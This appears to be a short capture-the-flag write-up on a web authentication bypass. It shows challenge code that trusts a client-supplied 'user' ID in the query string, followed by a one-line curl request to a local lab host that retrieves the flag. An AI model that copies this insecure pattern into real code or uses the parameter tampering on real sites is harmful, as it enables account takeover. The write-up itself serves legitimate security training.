Skip to content

Latest commit

 

History

History
40 lines (30 loc) · 1.22 KB

auth_bypass.md

File metadata and controls

40 lines (30 loc) · 1.22 KB

Web Authentication Bypass Vulnerability

Level 3 - Authentication bypass vulnerability

Code for the level

def level3():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        assert username, "Missing `username` form"
        assert password, "Missing `password` form"

        user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
        assert user, "Invalid `username` or `password`"

        return redirect(request.path, user=int(user["rowid"]))

    if "user" in request.args:
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        if user:
            username = user["username"]
            if username == "flag":
                return f"{flag}\n"
            return f"Hello, {username}!\n"

    return form(["username", "password"])

I simply need to skip authentication and provide the user ID,

curl http://challenge.localhost:80?user=1